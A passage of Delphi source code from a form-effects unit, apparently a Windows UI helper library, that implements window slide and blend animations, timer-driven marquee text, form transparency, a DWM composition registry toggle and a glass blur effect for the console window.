    Window_Effect(Form2_Load.Handle, 'effect1', seconds);
    Form2_Load.Show;
  end
  else
  begin
    Form2_Load.width := 1;
    Form2_Load.Height := Form1_Load.Height;
    Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
    Form2_Load.Top := Form1_Load.Top;
    Form2_Load.Show;
    for i := 1 to width do
    begin
      if (Form2_Load.width = width) then
      begin
        break;
      end
      else
      begin
        Form2_Load.width := i + seconds;
        Form2_Load.Update;
      end;
    end;
  end;
end;

procedure T_DH_Form_Effects.Effect_Marquee_Label_DownUp(Panel1: TPanel;
  Label1: TLabel; segundos: integer);
begin

  // To hide panel : BevelOuter = bvNone

  PanelToMove1 := Panel1;
  LabelToMove1 := Label1;
  Timer_Effect_Marquee_Label_DownUp :=
    TTimerEffect_Marquee_Label_DownUp.Create(nil);
  Timer_Effect_Marquee_Label_DownUp.Interval := segundos * 1000;
  Timer_Effect_Marquee_Label_DownUp.OnTimer :=
    Timer_Effect_Marquee_Label_DownUp.OnWork;
  Timer_Effect_Marquee_Label_DownUp.Enabled := True;
end;

procedure T_DH_Form_Effects.Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
  opcion: string; segundos: integer);
begin
  if (opcion = 'left') then
  begin
    FormCaptionToMove := Form1;
    FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
  end
  else if (opcion = 'right') then
  begin
    FormCaptionToMove := Form1;
    FormCaptionToMove.Caption := FormCaptionToMove.Caption + '  ';
  end
  else
  begin
    FormCaptionToMove := Form1;
    FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
  end;

  Option_Marquee_Form_Caption_LeftRight := opcion;
  TimerEffect_Marquee_Form_Caption_LeftRight :=
    TTimerEffect_Marquee_Form_Caption_LeftRight.Create(nil);
  TimerEffect_Marquee_Form_Caption_LeftRight.Interval := segundos * 1000;
  TimerEffect_Marquee_Form_Caption_LeftRight.OnTimer :=
    TimerEffect_Marquee_Form_Caption_LeftRight.OnWork;
  TimerEffect_Marquee_Form_Caption_LeftRight.Enabled := True;
end;

procedure T_DH_Form_Effects.Effect_Marquee_Label_LeftRight(Label2: TLabel;
  opcion: string; segundos: integer);
begin
  if (opcion = 'left') then
  begin
    LabelToMove2 := Label2;
    LabelToMove2.Caption := LabelToMove2.Caption + ' ';
  end
  else if (opcion = 'right') then
  begin
    LabelToMove2 := Label2;
    LabelToMove2.Caption := LabelToMove2.Caption + '  ';
  end
  else
  begin
    LabelToMove2 := Label2;
    LabelToMove2.Caption := LabelToMove2.Caption + ' ';
  end;
  Option_Marquee_Label_LeftRight := opcion;
  TimerEffect_Marquee_Label_LeftRight :=
    TTimerEffect_Marquee_Label_LeftRight.Create(nil);
  TimerEffect_Marquee_Label_LeftRight.Interval := segundos * 1000;
  TimerEffect_Marquee_Label_LeftRight.OnTimer :=
    TimerEffect_Marquee_Label_LeftRight.OnWork;
  TimerEffect_Marquee_Label_LeftRight.Enabled := True;
end;

function T_DH_Form_Effects.Window_Effect(Form: HWND; opcion: string;
  velocidad: integer): bool;
begin
  try
    begin
      if (opcion = 'slide') then
      begin
        AnimateWindow(Form, velocidad, AW_SLIDE);
      end
      else if (opcion = 'blend') then
      begin
        AnimateWindow(Form, velocidad, AW_BLEND);
      end
      else if (opcion = 'hide') then
      begin
        AnimateWindow(Form, velocidad, AW_HIDE);
      end
      else if (opcion = 'center') then
      begin
        AnimateWindow(Form, velocidad, AW_CENTER);
      end
      else if (opcion = 'effect1') then
      begin
        AnimateWindow(Form, velocidad, AW_HOR_POSITIVE);
      end
      else if (opcion = 'effect2') then
      begin
        AnimateWindow(Form, velocidad, AW_HOR_NEGATIVE);
      end
      else if (opcion = 'effect3') then
      begin
        AnimateWindow(Form, velocidad, AW_VER_POSITIVE);
      end
      else if (opcion = 'effect4') then
      begin
        AnimateWindow(Form, velocidad, AW_VER_NEGATIVE);
      end
      else
      begin
        Result := False;
      end;
      Result := True;
    end;
  except
    begin
      Result := False;
    end;
  end;
end;

function T_DH_Form_Effects.Window_Transparent(Form: TForm;
  level: integer): bool;
begin

  // Effect in Desktop Dark
  // Level : 240
  // Level : 235
  // Level : 230

  // Effect in Desktop White
  // Level : 220

  try
    begin
      Form.AlphaBlend := True;
      Form.AlphaBlendValue := level;
      Form.Visible := True;
      Result := True;
    end;
  except
    begin
      Result := False;
    end;
  end;
end;

function T_DH_Form_Effects.desktop_composition_control(option: string): bool;
var
  Registry: TRegistry;
begin
  if not(option = '') then
  begin
    try
      begin
        Registry := TRegistry.Create;
        Registry.RootKey := HKEY_CURRENT_USER;
        Registry.OpenKey('Software\Microsoft\Windows\DWM', True);
        if (option = 'on') then
        begin
          Registry.WriteString('CompositionPolicy', '0');
        end;
        if (option = 'off') then
        begin
          Registry.WriteString('CompositionPolicy', '1');
        end;
        Registry.Free;
        Result := True;
      end;
    except
      begin
        Result := False;
      end;
    end;
  end
  else
  begin
    Result := False;
  end;
end;

// Function for Effect Glass in Console
// Credits : Based on http://www.delphibasics.info/home/delphibasicssnippets/glasseffectinadelphiconsoleapplication
// Thanks to Rodrigo Ruz
// Note : You need enable desktop composition to use this function , else use the function
// desktop_composition_control() to enable

type
  DWM_BLURBEHIND = record
    controls: DWORD;
    check: bool;
    color_now: HRGN;
    max_now: bool;
  end;

procedure DwmEnableBlurBehindWindow(HWND: HWND;
  const pBlurBehind: DWM_BLURBEHIND); safecall;
  external 'dwmapi.dll' name 'DwmEnableBlurBehindWindow';
function GetConsoleWindow: HWND; stdcall;
  external kernel32 name 'GetConsoleWindow';

function check_console: Boolean;
var
  Handle: THandle;
begin
  Handle := GetStdHandle(Std_Output_Handle);
  Win32Check(Handle <> Invalid_Handle_Value);
  if (Handle <> 0) then
  begin
    Result := True;
  end
  else
  begin
    Result := False;
  end;
end;

procedure Effect_Glass(Handle: HWND; active: Boolean; rgn: HRGN = 0;
  max: Boolean = False; control: Cardinal = 1);
var
  effect: DWM_BLURBEHIND;
begin
  effect.controls := control;
  effect.check := active;
  effect.color_now := rgn;
  effect.max_now := max;

  DwmEnableBlurBehindWindow(Handle, effect);
end;

function T_DH_Form_Effects.Effect_Glass_in_Console(): bool;
begin
  if (check_console) then
  begin
    try
      begin
        Effect_Glass(GetConsoleWindow(), True);
        Result := True;
      end;
    except
      begin
        //
      end;
    end;
  end
  else
  begin
    Result := False;
  end;
end;

//

end.

// The End ?